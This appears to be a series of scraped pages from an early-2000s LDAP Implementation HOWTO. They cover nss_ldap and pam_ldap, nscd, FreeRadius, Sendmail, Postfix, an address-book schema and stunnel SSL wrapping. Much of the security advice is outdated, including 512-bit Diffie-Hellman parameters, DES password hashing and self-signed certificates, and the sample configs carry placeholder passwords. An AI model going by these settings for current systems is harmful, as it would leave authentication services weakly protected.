After you've unpacked the sources, check the makefile. For most configurations, it doesn't need to be edited. Anyway, if you want to use SSL you must link against an SSL aware LDAP library, such as the Netscape one.

Assuming that the ldap sdk is in /usr/local/ldapsdk you have to modify the Makefile to enable SSL. Look for NSFLAGS in Makefile.linux.mozilla and uncomment -DSSL.

Also check the LIBS definition to see if the ldapssl library specified in the file is the same that you have installed (ldap_nss.so compiles with both libldapssl40 and libldapssl30).

Then you can install the library:

$ make -f Makefile.linux.mozilla
# make -f Makefile.linux.mozilla install
#ldconfig

this installs /lib/libnss_ldap.so, which is the nss_ldap library, and a set of example configuration files, /etc/nsswitch.ldap and /etc/ldap.conf, in case they do not exist already.

Once you have installed it you must edit the NSS configuration file /etc/nsswitch.conf. Tough LDAP can be used for all the services we use it only for passwd, group and shadow therefore we should have something like:

passwd: files ldap
group:  files ldap
shadow: files ldap

in the first lines of the configuration file. With this configuration, entries are first looked in the system files and, if no value is returned, the LDAP server is queried.

Note: Beware when using ldap as backup for your dns lookups. If dns cannot resolve the hostname, we're in infinite recursion, because libldap calls gethostbyname(). [ from the nsswitch.ldap]

2.2.2.3. NSCD configuration

NSCD is already available in many Linux distributions, anyway it can be found within the GNU C library package.

The NSCD configuration file is /etc/nscd.conf. Each line specifies either an attribute and a value, or an attribute, cachename, and a value. Fields are separated either by SPACE or TAB characters. cachename can be hosts, passwd, or groups (in our case we won't cache hosts).

enable-cache           passwd  yes
positive-time-to-live  passwd  600
negative-time-to-live  passwd  20
suggested-size         passwd  211
keep-hot-count         passwd  20
check-files            passwd  yes
enable-cache           group  yes
positive-time-to-live  group  3600
negative-time-to-live  group  60
suggested-size         group  211
keep-hot-count         group  20
check-files            group  yes

Keep in mind that the nscd program caches passwd entries obtained from LDAP.

This means that when an user is modified on the ldap server, the nscd cache remains valid. This is avoided when using flat unix files by the check-files directive that invalidates the cache when the corresponding file is modified. Such a mechanism should be generalized, at the moment anyway does not apply to LDAP. A way to avoid possible misalignments between the LDAP server and the cache is to invalidate the cache manually when updating passwd entries with the command:

#nscd --invalidate=TABLE

Where TABLE can be passwd, groups or hosts.

To avoid confusion when testing, do not use nscd.

Moreover using nss and nscd will produce a lot of open filedescriptors, so is easy to run out of available filedescriptors on the system (this can hang your system).

You can increase the maximum number of filedescriptors in a Linux box (Kernel 2.2.x) with something like:

#echo 16384 > /proc/sys/fs/file-max

The maximum number of filedescriptors suggested for a system depends anyway from the configuration of your system.

2.2.2.4. LDAP client configuration file

The LDAP client configuration file /etc/ldap.conf is read by pam_ldap and nss_ldap as well as other LDAP clients. The following is an example of how it should look like in our environment.

#
# $Id: section-pamnss.sgml,v 1.2 2001/03/26 16:57:07 rolek Exp $
# This is the configuration file for the LDAP nameservice
# switch library and the LDAP PAM module.
# PADL Software
# http://www.padl.com
#
# If the host and base aren't here, then the DNS RR
# _ldap._tcp.[defaultdomain]. will be resolved. [defaultdomain]
# will be mapped to a distinguished name and the target host
# will be used as the server.
#
# Your LDAP server. Must be resolvable without using LDAP.
host 192.111.111.111
#
# The distinguished name of the search base.
base dc=yourorg, dc=com
#
# The LDAP version to use (defaults to 2,
# use 3 if you are using OpenLDAP 2.0.x or Netscape Directory Server)
# ldap_version 3
#
# The distinguished name to bind to the server with.
# Optional: default is to bind anonymously.
# binddn cn=manager,dc=padl,dc=com
#
# The credentials to bind with.
# Optional: default is no credential.
#bindpw secret
#
# The port.
# Optional: default is 389. 636 is for ldaps
port 636
#
# The search scope.
#scope sub
#scope one
#scope base
#
# The following options are specific to nss_ldap.
#
# The hashing algorithm your libc uses.
# Optional: default is des
#crypt md5
#crypt sha
#crypt des
#
# The following options are specific to pam_ldap.
#
# Filter to AND with uid=%s
pam_filter objectclass=posixAccount
#
# The user ID attribute (defaults to uid)
pam_login_attribute uid
#
# Search the root DSE for the password policy (works
# with Netscape Directory Server)
#pam_lookup_policy yes
#
# Group to enforce membership of
#
#pam_groupdn cn=PAM,ou=Groups,dc=padl,dc=com
#
# Group member attribute
pam_member_attribute memberuid
# Template login attribute, default template user
# (can be overridden by value of former attribute
# in user's entry)
#pam_login_attribute userPrincipalName
#pam_template_login_attribute uid
#pam_template_login nobody
#
# Hash password locally; required for University of
# Michigan LDAP server, and works with Netscape
# Directory Server if you're using the UNIX-Crypt
# hash mechanism and not using the NT Synchronization
# service.
pam_crypt local
#
# SSL Configuration
ssl yes
sslpath /usr/local/ssl/certs
#

Note: To avoid problems with the various applications that may read this file it is suggested not to use tabs between parameters and values, only a single space.

The pam_groupdn directive is useful when an LDAP server provides authentication information to a pool of clients, but the user should be authorized only on a set of clients. This directive can provide the same functionality of NIS netgroups.

The SSL configuration directives are not documented in the package, but they tell to enable SSL and where the file containing the LDAP server certificate and the CA certificate is stored.

A Netscape certificate database named cert7.db is searched in sslpath. This file must contain the server certificate and the CA certificate (unless the server certificate is self signed). There are two ways to generate this file: using the Netscape PKCS#11 tools or using the Netscape browser.

With the Netscape browser, after you have started slapd and stunnel on the server you can use Netscape Navigator to connect to the URL https://your.ldap.server:636/, you will be prompted to insert the server certificate in your database. Also the CA certificate (provided by your CA) must be loaded in the database (unless you are using a self signed certificate). At this point you can copy the $HOME/.netscape/cert7.db in sslpath. It is preferred that you use a scratch account with a default cert7.db file since other server certificates, that may be present in your personal certificate database, will be considered by your LDAP client as trusted authentication servers. Once the browser has imported the server certificate it can be used to debug SSL since it will behave like the pam and nss libraries.

2.3. Starting up

On the server side you have to start slapd (the LDAP daemon process) with a command like:

# slapd

If you use stunnel, it has to be started on the LDAPS port 636:

# /usr/local/sbin/stunnel  -r ldap  -d 636 \
 -p /usr/local/ssl/certs/stunnel.pem

If you use OpenLDAP 2.0.x, compiled with TLS (OpenSSL), you can start the server using the command

# slapd -h "ldap:/// ldaps:///"

On the client nscd can be started with the a startup script, usually found in many Linux distributions:

# /etc/rc.d/init.d/nscd start

If PAM and NSS are correctly configured this should be enough.

2.4. Accounts maintenance

At this point account creation and maintenance should be done using LDAP client tools.

Unfortunately these general purpose tools are not intended for Un*x accounts maintenance. The one that seems to be enough versatile is the LDAP Browser/Editor (http://www-unix.mcs.anl.gov/~gawor/ldap) that allows to set passwords in various formats and can use SSL to connect to the server.

2.5. Known limits

As it is for NIS with a single master server (no slave servers), LDAP without a replication mechanism represents a single point of failure for the authentication system. For authentication purposes it is rather important to implement LDAP replication. The server that cames with OpenLDAP (slapd) provides replication capabilities.

2.6. File permissions

The following are the file permissions that should be applied to some of the files used by the authentication system.

-rw-r--r--  root.root /etc/ldap.conf
-rw-------  root.root /usr/local/etc/openldap/slapd.conf
-rwxr-xr-x  root.root /lib/security/pam_ldap.so.1
-rw-r--r--  root.root /lib/libnss_ldap-2.1.2.so
-rw-r--r--  root.root /usr/local/ssl/certs/cert7.db
-rw-------  root.root /usr/local/ssl/certs/stunnel.pem

Notes

[1] | A mechanism that permits LDAP database replication between servers.
[2] | It is not a case that these are the maps provided by NIS.
[3] | An entry can belong to several objectclasses.
[4] | In a tricky way, it is also possible to use the Netscape Communicator certificate database.
Prev | Home | Next
Overview |  | Radius authentication using LDAP


Radius authentication using LDAP

LDAP Implementation HOWTO
Prev Next

3. Radius authentication using LDAP

A Radius Server, is a daemon for un*x operating systems which allows one to set up (guess what!) a radius protocol server, which is usually used for authentication and accounting of dial-up users. To use server, you also need a correctly setup client which will talk to it, usually a terminal server or a PC with appropriate which emulates it (PortSlave, radiusclient etc). [From the freeradius FAQ]

Radius has its own database of users, anyway, since this information is already contained in LDAP, it will be more convenient to use it!

There are several freeware Radius servers, the one that has good support for LDAP is the FreeRadius server (http://www.freeradius.org), it is still a development version, anyway the LDAP module works fine.

3.1. FreeRadius Radiusd configuration

Once you have installed the server you have to configure it using the configuration files, that are located under /etc/raddb (or /usr/local/etc/raddb)

In the radiusd.conf file edit :

[...omissis]
# Uncomment this if you want to use ldap (Auth-Type = LDAP)
# Also uncomment it in the authenticate{} block below
        ldap {
                server   = ldap.yourorg.com
                #login    = "cn=admin,o=My Org,c=US"
                #password = mypass
                basedn   = "ou=users,dc=yourorg,dc=com"
                filter   = "(posixAccount)(uid=%u))"
        }

[...omissis]

# Authentication types, Auth-Type = System and PAM for now.
authenticate {
        pam
        unix
#       sql
#       sql2
# Uncomment this if you want to use ldap (Auth-Type = LDAP)
        ldap
}
[...omissis]

Also edit the dictionary file:

[...omissis]
#
#       Non-Protocol Integer Translations
#

VALUE           Auth-Type               Local                   0
VALUE           Auth-Type               System                  1
VALUE           Auth-Type               SecurID                 2
VALUE           Auth-Type               Crypt-Local             3
VALUE           Auth-Type               Reject                  4
VALUE           Auth-Type               ActivCard               4
VALUE           Auth-Type               LDAP                    5
[...omissis]

And the users file to have a default authorization entry:

[...omissis]
DEFAULT        	Auth-Type := LDAP
        Fall-Through = 1
[...omissis]

If you alreay set up an LDAP server for Un*x accounts management, this is enough.

On the LDAP server ensure also that the radius server can read the all the posixAccount attributes (expecially uid and userpassword).

3.2. Testing Radius Authentication

To test everything server start radiusd in debugging mode:

/usr/local/sbin/radiusd  -X -A

Then use the radtest program whith a syntax like

radtest username "password" radius.yourorg.com 1 testing123

If everything went fine you should receive an Acces-Accept packet from the Radius server.

You can also use stunnel in client mode to provide SSL in the connection between the Radius server and the LDAPS server. For details on SSL refer to Section 10.

3.3. Sample CISCO IOS Configuration

Just for completeness, here is a sample Cisco IOS configuration. Anyway, this is outside the purpose of the HOWTO so it may not suit your needs.

[...omissis]
aaa new-model
aaa authentication login default radius enable
aaa authentication ppp default radius
aaa authorization network radius
[...omissis]
radius-server host 192.168.10.1
radius-server timeout 10
radius-server key cisco
[...omissis]

Note: Almost all NAS use port 1645 for radius, check it out and configure the server appropriately.

Prev | Home | Next
LDAP authentication using pam_ldap and nss_ldap |  | Samba


Netscape roaming access

LDAP Implementation HOWTO
Prev Next

8. Netscape roaming access

ToDo.

A good article on this subject can be found here.

Prev | Home | Next
Address books |  | Publishing digital certificates with LDAP


Samba

LDAP Implementation HOWTO
Prev Next

4. Samba

The current stable samba tree does not contain ldap support. The HEAD and TNG branches should, but are still under heavy development. When stable version are released I will document the implementation of samba in it here. Until then, you might want to take a look a document written by Ignacio Coupeau, where he describes the setup of Ldap for both of these branches.

Anyway, at this point, the smbpasswd file still has to be used. User account information is already retrieved from ldap, though. (As this is done by nsswitch, not samba.) When samba supports ldap, it should be possible to store the information that is now contained in the smbpasswd and optionally smbusers files in ldap. Whether it is possible for shares to be dynamically defined in ldap, I don't know, but I suppose it is not.

Prev | Home | Next
Radius authentication using LDAP |  | DNS


Ldap schema's

LDAP Implementation HOWTO
Prev Next

11. Ldap schema's

Warning: this section is terribly incomplete and outdated. I should be updating it, adding the various rfc's or other authoritive sources of schematic data.

This is a proposition of a schema that can be used to accommodate all the data needed for the previously listed functions. It should under no circumstances be regarded as authoritative. It is an example that should serve it's purpose, but it is likely you have to adapt it to match your specific needs.

Because it has been a lot of work (for me, maybe it's out there but I don't know where?) to find out the specific meaning of each entry, and what information it should contain, I'll try to do this as well. It should be noted, however, that it doesn't fit together seamlessly. The Microsoft Addressbook does not seem to use some of the fields it is presenting. I suspect that for the "Title", "Nickname", "Home City", "Home State/Province", "Home ZIP Code", "Home Country/Region" and "Home Web Page" entries no information is requested. For the "Personal", "Netmeeting" and "Digital IDs" I didn't yet bother to figure out how it should be put in the Ldap database. Any information is welcome. The netscape address book has a similar problem. When a record is copied from an LDap directory to a local address book, some of the fields are lost. As the nature of an company-wide addressbook should discourage users to copy addresses locally, this is not a big problem though. But netscape address book has another little oddity though. In a normal address record, the Ldap attribute associated with "Nickname" is xmozillanickname. When searching for addresses however, the associated attribute is simple nickname. That is the reason why the nickname entry shows up twice in the schema.

This schema is known to work with Microsoft Outlook 2000, and Netscape 4.73. If you find I'm wrong about a description, function, or neccessity of an entry, please do let me know!

The schema file that represent this schema can be found in Section 12.1.

Table 1. Ldap attributes and objectclasses - quick description

Function | Objectclass | Attributes | Description | (Default) value
User accounts | top |  | default |
 |  | ou | Organizational Unit | Users
 | person |  | Owner is a person |
 |  | uid | unix login name | foo
 |  | cn | Common Name | Foo Bar
 |  | sn | Surname | Bar
 | account |  | Owner has an account |
 | posixaccount |  | Owner has a Unix account |
 |  | uidNumber | uid | 513
 |  | gidNumber | gid | 100
 |  | homedirectory | Home directory | /home/users/foo
 |  | userpassword | unix password | S3cr3t
 | sambaaccount |  | Owner has a samba account |
 |  | ntuid | Unknown | uid
 |  | rid | Unknown | uidnumber
 |  | lmpassword | Lanman password hash | Unused
 |  | ntpasswd | NT password hash | Unused
 |  | loginshell | Users shell | /bin/pleurop
Machine accounts | top |  | default |
 |  | ou | Organizational Unit | Machines
 | posixaccount |  | Owner has a unix account |
 |  | uid | login name | speed$
 |  | uidnumber | unix uid | 514
 |  | gidnumber | gid | 100
 |  | homedirectory | Home directory | Unused
Microsoft Address Book | top |  | default |
 |  | ou | Organizational Unit | Addressbook
 | microsoftaddressbook |  | Owner has Microsofts Addressbook properties |
 |  | cn | Name |
 |  | c | Business country |
 |  | department | Business department |
 |  | facsimiletelephonenumber | Business fax number |
 |  | givenname | First name |
 |  | homephone | Home phone number |
 |  | homepostaladdress | Home postal address |
 |  | info | Notes |
 |  | initials | Initials |
 |  | l | Business city |
 |  | mail | Email address |
 |  | mobile | Home cellphone number |
 |  | organizationname | Company name |
 |  | otherfacsimiletelephonenumber | Home fax number |
 |  | otherpager | Business pager number | can be "pager" too?
 |  | physicaldeliveryofficename | Location of office at work |
 |  | postaladdress | Business postal address |
 |  | postalcode | Business postal code |
 |  | sn | Last Name |
 |  | st | Business state/province |
 |  | telephonenumber | Business phone number |
 |  | title | Job title |
 |  | url | Business web page |
Netscape Address Book | top |  | default |
 |  | ou | Organizational Unit | Addressbook
 | netscapeaddressbook |  | Owner has Netscape's properties |
 |  | cn | Name |
 |  | cellphone | Cellphone number |
 |  | countryname | Country |
 |  | description | Description |
 |  | facsimiletelephonenumber | Fax number |
 |  | givenname | First Name |
 |  | homephone | Home phone number |
 |  | homeurl | Personal web page |
 |  | locality | Home city |
 |  | mail | Email address |
 |  | nickname | Nickname |
 |  | o | Company |
 |  | ou | Department |
 |  | pagerphone | Pager number |
 |  | postalcode | Home postal code |
 |  | sn | Last name |
 |  | st | State |
 |  | streetaddress | Home postal address |
 |  | telephonenumber | Business phone number |
 |  | title | Title |
 |  | xmozillaanyphone | Business phone number |
 |  | xmozillanickname | Nickname | Same as nickname
 |  | xmozillausehtmlmail | Client uses html mail | TRUE
Netscape roaming access | top |  | default |
 |  | ou | Organizational Unit | Roaming

Note: Netscape and Microsoft use the addressbook entries in a slightly different way. Netscape stores a postal address in the streetaddress entry in a base64 encoded string, while Microsoft uses the postaladdress entry. However, when a streetaddress entry is present, Microsoft uses this instead of the postaladdress entry, but it's value is stored plaintext, not base64 encoded. So you cannot use them at the same time.

More information about Ldap schema's in general can be found on Linux Center. I found a document describing Microsoft Addressbook's properties on the Microsoft Developers Network.

Beware, the description given on the Microsoft page doesn't match the fields where the content shows up in address book. Also, not all fields in address book contain information, but if the listed keys don't work I wouldn't know which keys do work.

Prev | Home | Next
SSL/TLS and SSL/TLS wrappers for LDAP |  | Example files


Mail Transfer Agents

LDAP Implementation HOWTO
Prev Next

6. Mail Transfer Agents

i will describe three different MTA's in this section, Sendmail, Postfix and Qmail. These are three MTA's that can be configured to use Ldap for the retrieval of information. From personal experience, I must say that Postfix is much easier to set up than sendmail, but this may change in the future, as the ldap support in sendmail develops to a more mature state. I have not used qmail myself.

6.1. Sendmail

6.1.1. Ldap support in sendmail

Sendmail has support for ldap since somewhere around version 8.8.x using the map type ldapx.From version 8.10 and up an ldap database type ldap is supported. Please note that the ldap map support is not enabled per default in the RedHat package. Debian versions 2.2 and later do have ldap support in their sendmail, I am told. If you have to compile it yourself, please read the file sendmail/README from the sendmail sources. It contains valuable information about how to compile in the ldap support.

Both the old and the new ldap map type have the ability to look up entries in an ldap database. There is one thing that must be noted however. When a search is being done, only one result should be returned. If more results are found, only the first is used. Additionally, is multiple return values for that result are found, only the first is returned. Let's take a look at the following example ldif file:

dn: cn=mailuser1,ou=mail,dc=company,dc=com
objectclass: top
objectclass: foo
cn: mailuser1
mail: mailuser1@company.com
mail: info@company.com

If a search is performed with a simple search filter like cn=mailuser1, and the attribute that is asked for is mail, only mailuser1@company.com, is returned. To get both results, they should we stored in a single-valued attribute with comma-separated values, like this:

mail: mailuser1@company.com, info@company.com

An email message containing information related to this subject can be found at the LIH home.

6.1.2. System layout.

When ldap maps are available, almost anything can be looked up in an ldap database. What we would like to do is to simplify the configuration of the following setup.

Let's say we have a medium-sized or large network where we recieve for many domains. We have two mailhosts and two or three fallback hosts. This setup will normally have four places where three types of information are stored.

  • The mailhosts both need a file , or traditionally sendmail.cw, to store the domains for which they should recieve mail. The fallback hosts keep the same information in the access file, but they use it to list the domains for which they should relay any incoming mail.

  • The mailhosts both have a virtusers file, which maps multiple adresses (or entire domains) to a single virtual or local user.

  • The mailhosts both have an aliases file, which maps virtual users to one or more mail addresses or local users.

If this information is stored in a single database, each host will read its configuration from that database, which improves both the manageability and the scaleability of the network. One could even think of a single host which carries all data, mapped to with nfs. In such a case it makes no difference anymore to which host we are connecting. To a user, they appear to be all the same.

6.1.3. Sendmail configuration file

To understand how this information is read from an ldap database instead of the regular files a little background knowledge of the sendmail.cf file is neccesary. The information we're dealing with here is stored in two different ways. The local-host-names file is read into a class (class w, to be exactly, hence the old extension cw), while the virtusers file is used through a simple map. The aliases file is also a map, but it is defined in a different manner and used internally, instead of being referred to in rules.

When information is retrieved from a ldap database, it always ends up being in a map. This is somewhat problematic with the information stored in the local-host-names file, because this used to be a class. I have been unable to fill the class with the information from the map or something alike. That would be the easy way, but I think it's not possible. (If I'm incorrect about this, please let me know). Therefore, I had to define a new map, and insert rules in the sendmail configuration to make sure that (almost) every time when a value is looked up in the class, the new map is searched for the value too.

For the maps, the change of configuration is easy. A map is normally defined with a name and database type, and some database-specific options, (like the location of the file, for the normally used newdb database types). So for maps, it suffices to change the definition of the map and voila, we're done. Ldap maps have a few more options, some of which can be predefined. They are explained in the following list (largely taken from Booker Bense's document):

Ldap-specific map options in sendmail.cf

-h

Defines a space-separated list with hostnames of ldap servers. All machines will be queried in this order, until a result is found. This can be configured globally.

-b

Defines the ldap search base, e.g. the ldap directory you are going to search in. This can be configured globally.

-k

Defines the ldap search filter. It is a "sprintf" style string that defines how the map takes it's input value and constructs an ldap search. It has the form of an ordinary ldap search filter, with %s replaced by the value that is searched for. To learn more about ldap search filters please see RFC 2254. The search filter and the search base used above should define a search that returns at most one entry. The ldap map will only use the first entry it recieves.

-v

Defines the ldap attribute of which the value will be returned by the map lookup. Explained in detail later.

PLease note that all ldap options must be double-quoted and must immediately follow the sendmail option. Here is an example:

Kldapexamplemap ldap -h"localhost ldap.myorg.com" -b"ou=mail,dc=myorg,dc=com" -k"(mailstuff)(uid=%s))" -v"mailaddress"

6.1.4. Schema

For this particular setup I have defined a subtree mail in the ldap directory, under which all mail-related information will be stored. I t would have been possible to store some of the user-related mail-information in the ou=Users subtree, but I have specificalle chosen not to do this. When using a separate subtree, all information for sendmail is stored in a single place, and, when having many users, searches may be faster, because not the entire ou=Users subtree needs to be searched, but only the ou=mail subtree.

In this subtree two kinds of records will appear.

  1. Entries that hold mappings from the virtuser file and aliases file, for a single virtual user. I have chosen to store both mappings in a single entry, because this clarifies the effect and configuration used. For this I have defined an objectclass inetmailrecipient, and three attributes, mailid, mailacceptinggeneralid and maildrop.

    inetmailrecipient

    This is a classification that tells us the entry is some form of mapping from one or more real mail addresses and/or mail domains to one or more real users.

    mailid

    This describes the mail addresses that this virtual user recieves mail for. Can be in the form of normail addresses, like foo@myorg.com, or complete domains like @my2nd.org. Multiple of these attributes may be present, but they should all contain only one value. For each of these id's mail is sent to mailacceptinggeneralid.

    Here you'll put what you used to put at the left side in the virtusers file.

    mailacceptinggeneralid

    Defines a virtual user. This is in fact the link between the virtusers and aliases file. In each entry, one attribute of this type must be present, but no more than one may be present, and the attribute may contain only one value. This can either be a local username, or a virtual user. In the second case, a maildrop attribute must be present, in the first case, it does not.

    Here you'll put what you used to put in the virtusers file, and at the left side in the aliases file.

    maildrop

    Defines the addresses and/or users that mail received for should be delivered to. Only one attribute of this type may be present, but it may contain a comma-separated list of addresses and/or users. If the value of mailacceptinggeneralid is a virtual user, this attribute must be present. If the value is a real user, this entry may be omitted.

    Here you'll put what you used to put at the right side in the aliases file.

    In general, one could say that the mailid and mailacceptinggeneralid together provide the functionality of the virtusers file, and mailacceptinggeneralid and maildrop together provide the functionality of the aliases file.

  2. One or more entries that hold the domain names which would normally apear in the sendmail.cw and access files. For this I have defined an objectclass inetmaildomain, and three attributes, maildomain, sendmailislokalkey and sendmailaccesskey.

    inetmaildomain

    This is a classification that tells us the entry lists mail domains which belong to our system, and either should be delivered locally, or be relayed to another host.

    maildomain

    Defines the mail domain. Multiple of these attributes may be presentin a single entry. The value should be the domain without the "@".

    For each of the dmain entries in the local-host-names file, one of these attributes should be present.

    sendmailislocalkey

    This defines a simple key that is used in the sendmail rules to determine if a domain is local. It can be anything really, but is must be the exact string you will use in your sendmail rules. For now I have used <LDAPLOCAL>. One attribute of this type must be present, and no more than one may be present in each entry.

    sendmailaccesskey

    This defines the key that is used in the sendmail rules to determine what action needs t be taken for the specified domain. It can be one of RELAY, OK, REJECT, DISCARD or an error indicator. (For detailed information see the cf/README file from the sendmail sources.)

    Note: PLease note that in this particular setup I will only be using entire domains in the access file. That means that in this case I can use the maildomain attribute for both the information used in the access file and the information used in the local-host-names. If you want a finer control over your access list, you should define a separate entry to hold that information, instead of using the maildomain attribute.

6.1.5. More information.

Here are a few sources of information that might be useful:

  • Booker Bense has written a document about the usage of ldap with sendmail 8.9.3. He says it's the wrong place to start when learning about using sendmail and ldap, but it has been of great help to me.

  • A short howto about how to setup sendmail with ldap, written by Jason Christopher Radford

  • New articles about ldap and sendmail are being published on sendmail.net, written by Michael Donnelly, originating from ldapmap.org, which has also a lot of general interesting ldap-related information.

6.2. Postfix

6.2.1. Support

Postfix has native ldap support. A lot of options in postfix can be configured using maps which can be of various types. One of those types is ldap. For each ldap map a couple of options can be configured. (See Section 6.2.2.)

The process of having postfix look up certain data in an ldap database is pretty straightforward. The most common use (so i think) is to have postfix look up virtual users in the ldap database. Together with the above explaind nss_ldap feature, this allows you to have all your email users in an ldap database. But other things can be configured too, like the domains postfix is allowed to relay mail for, or relay mail from, or for which is should act as a backup mail server.

6.2.2. Configuration

The description of the configuration options is completely taken from LDAP_README in the postfix docs from version 20001217.

server_host

The name of the host running the LDAP server, e.g.

ldapsource_server_host = ldap.your.com

It should be possible with all the libraries mentioned above to specify multiple servers separated by spaces, with the libraries trying them in order should the first one fail. It should also be possible to give each server in the list a different port, by naming them like "ldap.your.com:1444".

server_port (389)

The port the LDAP server listens on, e.g.

ldapsource_server_port = 778

search_base (No default; you must configure this.)

The base at which to conduct the search, e.g.

ldapsource_search_base = dc=your, dc=com

timeout (10 seconds)

The number of seconds a search can take before timing out, e.g.

ldapsource_timeout = 5

query_filter (mailacceptinggeneralid=%s)

The RFC2254 filter used to search the directory, where %s is a substitute for the address Postfix is trying to resolve, e.g.

ldapsource_query_filter = (%s)(paid_up=true))

domain (No default; you must configure this.)

This is a list of domain names, paths to files, or dictionaries. If specified, only lookups ending in a domain on this list will be searched. This can significantly reduce the query load on the LDAP server.

ldapsource_domain = postfix.org, hash:/etc/postfix/searchdomains

result_attribute (maildrop)

The attribute(s) Postfix will read from any directory entries returned by the lookup, to be resolved to an email address.

ldapsource_result_attribute = mailbox,maildrop

special_result_attribute (No default)

The attribute(s) of directory entries that can contain DNs or URLs. If found, a recursive subsequent search is done using their values.

ldapsource_special_result_attribute = member

scope (sub)

The LDAP search scope: sub, base, or one. These translate into LDAP_SCOPE_SUBTREE, LDAP_SCOPE_BASE, and LDAP_SCOPE_ONELEVEL.

bind (yes)

Whether or not to bind to the LDAP server. Newer LDAP implementations don't require clients to bind, which saves time. Example:

ldapsource_bind = no

If you do need to bind, you might consider configuring Postfix to connect to the local machine on a port that's an SSL tunnel to your LDAP server. If your LDAP server doesn't natively support SSL, put a tunnel (wrapper, proxy, whatever you want to call it) on that system too. This should prevent the password from traversing the network in the clear.

bind_dn ("")

If you do have to bind, do it with this distinguished name. Example:

ldapsource_bind_dn = uid=postfix, dc=your, dc=com

bind_pw ("")

The password for the distinguished name above. If you have to use this, you probably want to make main.cf readable only by the Postfix user. Example:

ldapsource_bind_pw = postfixpw

cache (no)

Whether to use a client-side cache for the LDAP connection. See ldap_enable_cache(3). It's off by default.

cache_expiry (30 seconds)

If the client-side cache is enabled, cached results will expire after this many seconds.

cache_size (32768 bytes)

If the client-side cache is enabled, this is its size in bytes.

dereference (0)

When to dereference LDAP aliases. (Note that this has nothing do with Postfix aliases.) The permitted values are those legal for the OpenLDAP/UM LDAP implementations:

0 | never
1 | when searching
2 | when locating the base object for the search
3 | always

6.2.3. Example setup

If you want a virtual domain (say foo.virtualdomain.com) and you want to store email addresses in Ldap for this domain, youwould need the following piece in your main.cf.

virtual_maps = ldap:ldapvirtual
ldapvirtual_search_base = ou=mail,o=YourOrg,c=nl
ldapvirtual_query_filter = (mailacceptinggeneralid=%s)
ldapvirtual_domain = foo.virtualdomain.com
ldapvirtual_result_attribute = maildrop
ldapvirtual_bind = no
ldapvirtual_scope = one

With this setting, if postfix receives mail for a user with a domain part "foo.virtualdomain.com", to do a search in the database for entries that have an attribute mailacceptinggeneralid that matches "user@foo.virtualdomain.com". If such an entry is found, the values of all available maildrop attributes are returned, and to these values the mail is delivered. If "user@foo.virtualdomain.com" is not found, another query is performed, that tries to match the catchall user, "@foo.virtualdomain.com". If this is again not found, the message will be bounced.

6.3. Qmail

Qmail itself does not have any ldap support. However, there is a patch by Andre Oppermann that provides ldap support. This package, including the documentation for it, can be found at his site.

Prev | Home | Next
DNS |  | Address books


SSL/TLS and SSL/TLS wrappers for LDAP

LDAP Implementation HOWTO
Prev Next

10. SSL/TLS and SSL/TLS wrappers for LDAP

10.1. A Brief description of SSL

The Secure Socket Layer (SSL) is an application layer protocol that provides a secure transmission channel between parties. It stands between TCP/IP and application level protocols, such as HTTP, LDAP, SMTP etc... It is based on public key cryptography systems (various ciphers can be used) and on X.509 certificates.

SSL was initially a Netscape protocol, then it has gone trough a standardization process and now is called TLS (Transmission Layer Security). It is commonly referred as SSL/TLS.

The SSL/TLS protocol provides:

  • Data encryption: Client/server session is encrypted

  • Server authentication: Client can verify the server identity

  • Message integrity: Data is not modified during transmission; this prevents "man in the middle" attacks.

  • Client authentication: Server can verify the client identity

10.2. SSL/TLS availability for OpenLDAP

Since OpenLDAP 2.0.x, that is an LDAP V3 toolkit, SSL/TLS is provided by the server. OpenLDAP 2.0.x needs to be compiled using the OpenSSL library to add SSL/TLS. It also has Start-TLS support.

Note: Start-TLS allows to enable TLS if the client requests it. This way it is possible to use only an LDAP port for both secure and insecure connections.

OpenLDAP 1.2.x, instead, is an LDAP V2 protocol implementation and does not provide SSL/TLS.

Valuable information on SSL/TLS on OpenLDAP 2.0.x can be found on the OpenLDAP web site, here we will focus how to use an SSL tunnel to secure LDAP parties that are not SSL/TLS aware

10.3. How to use stunnel to provide SSL/TLS to an LDAP V2 server

If you use OpenLDAP 1.2.x you need a general purpose SSL wrapper to add SSL capabilities to the server. Stunnel (www.stunnel.org) has been found to be stable and suitable for this application.

Installing it is quite simple, but first you have to install OpenSSL (www.OpenSSL.org) to have the required library and tools.

OpenSSL, is an open source implementation of the SSL protocol that provides the SSL library and a set of cryptography tools.

To install OpenSSL you have to type the following commands:

$ ./config
$ make
$ make test
# make install

usually, everything will be installed in /usr/local/ssl.

If OpenSSL is correctly installed the only command needed to compile and install stunnel are:

$ ./configure
$ make
# make install

Stunnel uses a server certificate for SSL, this can be a self signed certificate, or, better, a certificate signed by your own Certification Authority (the SSL client has to trust the CA too).

A commonly used place used to store such certificate is:

/usr/local/ssl/certs/stunnel.pem

If having a Certification Authority is not a concern, a self signed certificate can be produced using the tools provided by the OpenSSL suite.

In the stunnel directory (to use the configuration file stunnel.cnf) type the following commands:

$ openssl req -new -x509 -days 365 -nodes -config stunnel.cnf \
            -out stunnel.pem -keyout stunnel.pem
$ openssl gendh 512 >> stunnel.pem

This will produce a self signed certificate, valid for a year, in the file stunnel.pem.

Once stunnel is installed, you can start up first the LDAP server on port 389 (the default LDAP port):

#/usr/local/libexec/slapd

Then stunnel on port 636 (the port used by LDAPS client):

# /usr/local/sbin/stunnel  -r ldap  -d 636 \
 -p /usr/local/ssl/certs/stunnel.pem

For debugging you can start stunnel in foreground with the following syntax:

# /usr/local/sbin/stunnel  -r ldap  -d 636 \
 -D 7 -f -p /usr/local/ssl/certs/stunnel.pem

10.4. How to use stunnel to provide SSL to LDAP clients

Many LDAP client are not SSL aware, anyway, it is possible using stunnel in client mode, to provide SSL to these clients.

This is quite simple. You can start stunnel on the client host, using the LDAPS port, and forward requests to this port to the actual LDAP server:

# stunnel -c -d 636 -r  ldapserver.yourorg.com:636

Now LDAP clients must be configured using localhost:636 as the LDAPS server to use.

10.5. How to use stunnel to provide SSL for slurpd replication

At the moment slurpd (slapd replication daemon) hasn't SSL capabilities, anyway you can use stunnel in client mode to have this job done.

Using stunnel in client mode on the master, you can forward a local port to a remote port:

# stunnel -c -d 9636 -r  ldapreplica.yourorg.com:636

and have on the master LDAP server in slapd.conf

replica host=localhost:9636

Prev | Home | Next
Publishing digital certificates with LDAP |  | Ldap schema's


Reviewing Existing Documentation

Linux Documentation Project Reviewer HOWTO
Prev Next

3. Reviewing Existing Documentation

